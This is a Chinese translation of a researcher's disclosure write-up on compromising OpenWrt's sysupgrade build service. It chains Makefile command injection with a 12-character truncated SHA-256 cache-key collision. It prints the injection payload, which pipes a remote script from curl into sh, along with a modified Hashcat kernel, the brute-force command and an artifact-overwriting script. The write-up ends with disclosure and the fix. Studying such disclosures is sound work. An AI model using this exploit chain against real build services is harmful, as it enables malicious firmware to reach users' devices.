详解如何通过SHA-256截断碰撞和命令注入,攻陷 OpenWrt 供应链
2024-12-11 17:26:0 Author: mp.weixin.qq.com(查看原文) 阅读量:6 收藏

 聚焦源代码安全,网罗国内外最新资讯!

专栏·供应链安全

数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。

随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。

为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。

注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。

作者详述了自己发现 OpenWrt 供应链很可能遭攻击的全过程,本文是相关编译。目录如下:
  • 引言
  • sysupgrade.openwrt.org
  • 命令注入
  • SHA-256碰撞
  • 暴力破解SHA-256
  • 组合两种攻击
  • 漏洞报送
  • 结论
引言

几天前,我尝试升级自己的家庭实验室网络,决定升级路由器上的 OpenWrt。访问了 OpenWrt 的 web 界面 LuCI 后,我注意到了一个名为 “Attended Sysupgrade” 的部分,因此尝试借此来升级固件。从描述来看,Attended Sysupgrade 通过使用在线服务构建新的固件。我对它的工作原理很感兴趣,因此开始了调查。

Sysupgrade.openwrt.org

做了一些研究后,我发现上述提到的在线服务托管在 sysupgrade.openwrt.org 上。该服务可使用户通过挑选目标设备和想要的程序包的方式构建一个新的固件镜像。当用户尝试升级该固件时,OpenWrt 的用户侧就会向服务器发送一个请求,要求获取如下信息:

  • 目标架构

  • 设备配置

  • 所选包

该服务器随后基于这些信息构建固件镜像并将其发送回 OpenWrt,后者就开始将固件镜像闪存到设备。正如大家所知,以用户提供的程序包构建镜像是危险的。如果该服务器正在构建用户提供的源代码且没有正确隔离,那么就会被轻易攻陷。

因此,我开始着手调查该服务中是否存在任何安全问题。

命令注入

幸运的是,托管在sysupgrade.openwrt.org上的服务器是一个开源项目,该源代码托管在 openwrt/asu上。我设立了该服务的本地实例并在不影响生产环境的前提下,开始进一步调查测试该服务的行为。

读取一小会后,我发现该服务器正在使用容器隔离构建环境,如下所示:

asu/build.py 第154-164行

    container = podman.containers.create(        image,        command=["sleep", "600"],        mounts=mounts,        cap_drop=["all"],        no_new_privileges=True,        privileged=False,        networks={"pasta": {}},        auto_remove=True,        environment=environment,    )

如果逃逸该容器会怎样?不久后我发现源代码中的这行代码:

asu/build.py 第217-226行:

    returncode, job.meta["stdout"], job.meta["stderr"] = run_cmd(        container,        [            "make",            "manifest",            f"PROFILE={build_request.profile}",            f"PACKAGES={' '.join(build_cmd_packages)}",            "STRIP_ABI=1",        ],    )

如上所引用的 Makefile 源自 OpenWrt 的镜像构建器,而目标 manifest 的定义如下:

target/imagebuilder/files/Makefile 第 325-335行:

manifest: FORCE  $(MAKE) -s _check_profile  $(MAKE) -s _check_keys  (unset PROFILE FILES PACKAGES MAKEFLAGS; \  $(MAKE) -s _call_manifest \    $(if $(PROFILE),USER_PROFILE="$(PROFILE_FILTER)") \    $(if $(PACKAGES),USER_PACKAGES="$(PACKAGES)"))

当命令 make 在执行前扩展了该变量时,包含受用户控制值的变量无法安全使用。例如,如下含有 make var="'; whoami #" Makefile 将会执行whoami 的命令,尽管变量 var 通过单引号引用。

test:  echo '$(var)'

由于变量PACKAGES 中包含由用户发送的请求中的参数 packages,因此攻击者可通过发送一个程序包如 ‘command to execute’ 的凡是在镜像构建器容器中执行任意命令。

asu/build_request.py 第 59-70 行:

    packages: Annotated[        list[str],        Field(            examples=[["vim", "tmux"]],            description="""                List of packages, either *additional* or *absolute* depending                of the `diff_packages` parameter.  This is augmented by the                `packages_versions` field, which allow you to additionally                specify the versions of the packages to be installed.            """.strip(),        ),    ] = []

虽然执行该命令的容器从主机隔离,但仍然不失为逃逸容器的好的起始点。

SHA-256 碰撞

找到如上所述的命令注入后,我开始查找逃逸该容器的代码。功夫不负有心人,一小时后还真找到了。

asu/util.py 第119-149 行:

def get_request_hash(build_request: BuildRequest) -> str:    """Return sha256sum of an image request
Creates a reproducible hash of the request by sorting the arguments
Args: req (dict): dict containing request information
Returns: str: hash of `req` """ return get_str_hash( "".join( [ build_request.distro, build_request.version, build_request.version_code, build_request.target, build_request.profile.replace(",", "_"), get_packages_hash(build_request.packages), get_manifest_hash(build_request.packages_versions), str(build_request.diff_packages), "", # build_request.filesystem get_str_hash(build_request.defaults), str(build_request.rootfs_size_mb), str(build_request.repository_keys), str(build_request.repositories), ] ), REQUEST_HASH_LENGTH, )

该方法用于生成请求的哈希,而该哈希用作构建的缓存密钥。但为什么它有多个内部哈希而不使用raw字符串呢?我查看了如下计算包哈希的代码后,立即注意到该哈希的长度被从64个字符截断到12个。

asu/util.py 第 152-164行:

def get_str_hash(string: str, length: int = REQUEST_HASH_LENGTH) -> str:    """Return sha256sum of str with optional length
Args: string (str): input string length (int): hash length
Returns: str: hash of string with specified length """ h = hashlib.sha256(bytes(string or "", "utf-8")) return h.hexdigest()[:length]
[...]
def get_packages_hash(packages: list[str]) -> str: """Return sha256sum of package list
Duplicate packages are automatically removed and the list is sorted to be reproducible
Args: packages (list): list of packages
Returns: str: hash of `req` """ return get_str_hash(" ".join(sorted(list(set(packages)))), 12)

12个字符相当于48个位,而键空间是 2^48 = 281,474,976,710,656,看起来太小而无法避免碰撞。虽然该哈希并非用作缓存键,但包含该哈希的外层哈希的用途即是。因此,通过创建这些程序包哈希的碰撞,即使这些程序包是不同的,我们仍然可以生成同样的缓存键,这就可使攻击者强迫该服务器位具有不同程序包的请求返回错误的构建工件。

由于我不确定该碰撞到底是如何发生的,于是决定通过暴力破解SHA-256找到12个字符碰撞的方式进行测试。

暴力破解SHA-256

由于无法找到部分匹配支持的哈希暴力破解工具,于是我决定自己实现。

经过一些尝试和错误后,我成功创建了一个 OpenCL 程序,对CPU进行暴力破解。然而,在测试时其表现非常糟糕,它需要10秒钟才能计算1亿个哈希。这几乎相当于CPU的哈希率,但因为我没有经验因此并未进一步优化。

于是,我最终使用了一款已知的暴力破解工具程序 Hashcat。通过如下方式,我让 Hashcat 打印出了仅有8个字符匹配的哈希:

diff --git a/OpenCL/m01400_a3-optimized.cl b/OpenCL/m01400_a3-optimized.clindex 6b82987bb..12f2bc17a 100644--- a/OpenCL/m01400_a3-optimized.cl+++ b/OpenCL/m01400_a3-optimized.cl@@ -165,7 +165,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO   /**    * reverse    */-+/*   u32 a_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[0];   u32 b_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[1];   u32 c_rev = digests_buf[DIGESTS_OFFSET_HOST].digest_buf[2];@@ -179,7 +179,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);   SHA256_STEP_REV (a_rev, b_rev, c_rev, d_rev, e_rev, f_rev, g_rev, h_rev);-+*/   /**    * loop    */@@ -279,7 +279,7 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO     w7_t = SHA256_EXPAND (w5_t, w0_t, w8_t, w7_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, w7_t, SHA256C37);     w8_t = SHA256_EXPAND (w6_t, w1_t, w9_t, w8_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, a, b, c, d, e, f, g, h, w8_t, SHA256C38); -    if (MATCHES_NONE_VS (h, d_rev)) continue;+    //if (MATCHES_NONE_VS (h, d_rev)) continue;      w9_t = SHA256_EXPAND (w7_t, w2_t, wa_t, w9_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, h, a, b, c, d, e, f, g, w9_t, SHA256C39);     wa_t = SHA256_EXPAND (w8_t, w3_t, wb_t, wa_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, g, h, a, b, c, d, e, f, wa_t, SHA256C3a);@@ -289,7 +289,8 @@ DECLSPEC void m01400s (PRIVATE_AS u32 *w, const u32 pw_len, KERN_ATTR_FUNC_VECTO     we_t = SHA256_EXPAND (wc_t, w7_t, wf_t, we_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, c, d, e, f, g, h, a, b, we_t, SHA256C3e);     wf_t = SHA256_EXPAND (wd_t, w8_t, w0_t, wf_t); SHA256_STEP (SHA256_F0o, SHA256_F1o, b, c, d, e, f, g, h, a, wf_t, SHA256C3f); -    COMPARE_S_SIMD (d, h, c, g);+    //COMPARE_S_SIMD (d, h, c, g);+    COMPARE_S_SIMD (a, a, a, a);   } } diff --git a/src/modules/module_01400.c b/src/modules/module_01400.cindex ab002efbe..03549d7f5 100644--- a/src/modules/module_01400.c+++ b/src/modules/module_01400.c@@ -11,10 +11,10 @@ #include "shared.h"  static const u32   ATTACK_EXEC    = ATTACK_EXEC_INSIDE_KERNEL;-static const u32   DGST_POS0      = 3;-static const u32   DGST_POS1      = 7;-static const u32   DGST_POS2      = 2;-static const u32   DGST_POS3      = 6;+static const u32   DGST_POS0      = 0;+static const u32   DGST_POS1      = 0;+static const u32   DGST_POS2      = 0;+static const u32   DGST_POS3      = 0; static const u32   DGST_SIZE      = DGST_SIZE_4_8; static const u32   HASH_CATEGORY  = HASH_CATEGORY_RAW_HASH; static const char *HASH_NAME      = "SHA2-256";

之后,我通过一小段脚本将其封装,查看Hashcat的输出中是否包含12个字符的碰撞。

攻击组合

为组合这两种攻击,我需要找到payload,它拥有针对合法程序包清单的12个字符长的哈希碰撞。

我从sysupgrade.openwrt.org 的前端 firmware-selector.openwrt.org 中收集到了程序包清单,并计算出了合法哈希:

$ printf 'base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd' | sha256sum8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb  -

该哈希的前12个字符是 8f7018b33d94,因此我们需要拥有与该哈希相同前缀的一个命令注入payload。为此,我通过如下命令在 RTX4090上执行了修改后的Hashcat:

$ ./hashcat -m 1400 8f7018b33d9472113274fa6516c237e32f67685fc1fc3cbdbf144647d0b3feeb -O -a 3 -w 3 '`curl -L tmp.ryotak.net/?l?l?l?l?l?l?l?l?l?l|sh`' --self-test-disable --potfile-disable --keep-guessing

执行该命令后,Hashcat开始以每秒5亿哈希的速度计算这些哈希。一会儿检查输出后,我发现 Hashcat 计算了所有可能的模式,但并未找到12个字符的碰撞,这是因为我错误地计算了?l?l?l?l?l?l?l?l?l?l的空间。

?l是生成 a-z 的一个掩码模式,因此?l?l?l?l?l?l?l?l?l?l(10个字符)的空间是 26^10 = 141,167,095,653,376,大概是 2^48 = 281,474,976,710,656 的一半。但在计算该空间时,我错误地将其计算为 26^11 = 3,670,344,486,987,776,还以为这样就足以找到该碰撞。

因此我将掩码模式修改为?l?l?l?l?l?l?l?l?l?l?l(11个字符)并任其运行。执行该命令后,我在想如何才能让暴力破解更快呢,于是开始查看Hashcat。不久后我发现当我把掩码模式放到命令前如 `?l?l?l?l?l?l?l?l?l?l?l `curl -L tmp.ryotak.net/|sh` 时,它的性能急速提升。经过测试后,我发现只要改为如下模式,就能提速36倍。

`?l?l?l?l?l?l?l?l?l?l?l||curl -L tmp.ryotak.net/8f7018b33d94|sh`

通过使用该模式,Hashcat 能够以每秒180亿哈希的速度计算这些哈希。在一个小时内,Hashcat 找到了12个字符碰撞:

$ printf '`slosuocutre||curl -L tmp.ryotak.net/8f7018b33d94|sh`' | sha256sum8f7018b33d9464976ab199f100812d2d24d5e84a76555c659e88e0b6989a4bd8  -

将该payload 发送为 packages 参数,就会触发命令注入并执行tmp.ryotak.net 处的脚本。我将如下脚本放到 tmp.ryotak.net/8f7018b33d94,覆写了由该镜像构建器生成的工件。

cat >> /builder/scripts/json_overview_image_info.py <<PYimport osfiles = os.listdir(os.environ["BIN_DIR"])for filename in files:    if filename.endswith(".bin"):        filepath = os.path.join(os.environ["BIN_DIR"], filename)        with open(filepath, "w") as f:            f.write("test")PY

接着,哈希碰撞发生,服务器将覆写的构建工件返回给合法请求,请求了如下程序包:

base-files busybox ca-bundle dnsmasq dropbear firewall4 fstools kmod-gpio-button-hotplug kmod-hwmon-nct7802 kmod-nft-offload libc libgcc libustream-mbedtls logd luci mtd netifd nftables odhcp6c odhcpd-ipv6only opkg ppp ppp-mod-pppoe procd procd-seccomp procd-ujail uboot-envtools uci uclient-fetch urandom-seed urngd

攻击者可强制用户升级至恶意固件,从而导致设备遭攻陷。

漏洞报送

证实该攻击后,我通过 GitHub 上的非公开漏洞报送渠道报送给 OpenWrt 团队。

OpenWrt 团队证实该问题后,临时停止了 sysupgrade.openwrt.org 服务并启动调查。3小时候,他们发布了已修复版本并重启服务。虽然这两个问题均已由 OpenWrt 团队修复,但目前尚不清楚该攻击是否遭其他人利用,因为漏洞已存在一段时间。因此该团队决定发布公告通知用户确保设备未被攻陷并检测是否已遭攻陷。

结论

在本文中,我解释了如何通过命令注入漏洞和SHA-25碰撞攻陷 sysupgrade.openwrt.org 服务。由于我从未在真实应用中发现哈希碰撞攻击,因此通过暴力攻击哈希竟然利用成功,让我惊讶。感谢 OpenWrt 团队在如此短的时间内就修复了漏洞并及时通知用户。

点击“阅读原文”,马上试用开源卫士:https://oss.qianxin.com

开源卫士试用地址:https://oss.qianxin.com
代码卫士试用地址:https://codesafe.qianxin.com

推荐阅读

Ultralytics AI模型正被劫持用于部署挖矿机

Solana 热门 Web3.js npm库有后门,可触发软件供应链攻击

软件供应链投毒 — NPM 恶意组件分析

软件供应链投毒 — NPM 恶意组件分析(二)

在线阅读版:《2023中国软件供应链安全分析报告》全文

Npm 库XMLRPC 插入恶意代码,窃取数据部署密币矿机

Python、npm和开源生态系统中的入口点可用于发动供应链攻击

NPM恶意包假冒 “noblox.js”,攻陷 Roblox 开发系统

恶意npm包利用镜像文件隐藏后门代码

奇安信入选全球《软件成分分析全景图》代表厂商

奇安信入选全球《静态应用安全测试全景图》代表厂商

奇安信开源卫士率先通过可信开源治理工具评估

全球软件供应链安全指南和法规概览

英韩:Lazarus 黑客组织利用安全认证软件 0day 漏洞发动供应链攻击

Okta 支持系统遭攻陷,已有Cloudflare、1Password等三家客户受影响

黑客攻陷Okta发动供应链攻击,影响130多家组织机构

Okta 结束Lapsus$ 供应链事件调查,称将加强第三方管控

Okta 提醒:社工攻击正在瞄准超级管理员权限

《软件供应商手册:SBOM的生成和提供》解读

Telegram 和 AWS等电商平台用户遭供应链攻击

美国商务部发布软件物料清单 (SBOM) 的最小元素(上)

美国商务部发布软件物料清单 (SBOM) 的最小元素(中)

美国商务部发布软件物料清单 (SBOM) 的最小元素(下)

速修复MOVEit Transfer 中的这个新0day!

MOVEit 文件传输软件0day被用于窃取数据

MSI UEFI 签名密钥遭泄漏 恐引发“灾难性”供应链攻击

OilRig APT 组织或在中东地区发动更多 IT 供应链攻击

“木马源”攻击影响多数编程语言的编译器,将在软件供应链攻击中发挥巨大作用
GitHub 在 “tar” 和 npm CLI 中发现7个高危的代码执行漏洞
流行的 NPM 包依赖关系中存在远程代码执行缺陷
速修复!热门npm 库 netmask 被曝严重的软件供应链漏洞,已存在9年
Npm 恶意包试图窃取 Discord 敏感信息和浏览器文件
微软“照片”应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析
速修复!热门npm 库 netmask 被曝严重的软件供应链漏洞,已存在9年
SolarWinds 供应链事件后,美国考虑实施软件安全评级和标准机制
找到软件供应链的薄弱链条
GitHub谈软件供应链安全及其重要性
揭秘新的供应链攻击:一研究员靠它成功入侵微软、苹果等 35 家科技公司
开源软件漏洞安全风险分析
开源OS FreeBSD 中 ftpd chroot 本地提权漏洞 (CVE-2020-7468) 的技术分析
集结30+漏洞 exploit,Gitpaste-12 蠕虫影响 Linux 和开源组件等
限时赠书|《软件供应链安全—源代码缺陷实例剖析》新书上市
热门开源CI/CD解决方案 GoCD 中曝极严重漏洞,可被用于接管服务器并执行任意代码
GitKraken漏洞可用于盗取源代码,四大代码托管平台撤销SSH密钥
因服务器配置不当,热门直播平台 Twitch 的125GB 数据和源代码被泄露
彪马PUMA源代码被盗,称客户数据不受影响

多租户AWS漏洞暴露账户资源

适用于Kubernetes 的AWS IAM 验证器中存在漏洞,导致提权等攻击

PyPI 仓库中的恶意Python包将被盗AWS密钥发送至不安全的站点

热门PyPI 包 “ctx” 和 PHP库 “phpass” 长时间未更新遭劫持,用于窃取AWS密钥

如何找到 AWS 环境下应用程序中易于得手的漏洞?

原文链接
https://flatt.tech/research/posts/compromising-openwrt-supply-chain-sha256-collision/

题图:Pexels License

本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

    觉得不错,就点个 “在看” 或 "” 吧~


文章来源: https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521758&idx=2&sn=da1507119ca8f0db608bf58e1853c0fb&chksm=ea94a4b4dde32da2e1e7a8749b3e8eb1ee9c3ea1236f9ed68555d90d44ad557f386d5d7e1e0a&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh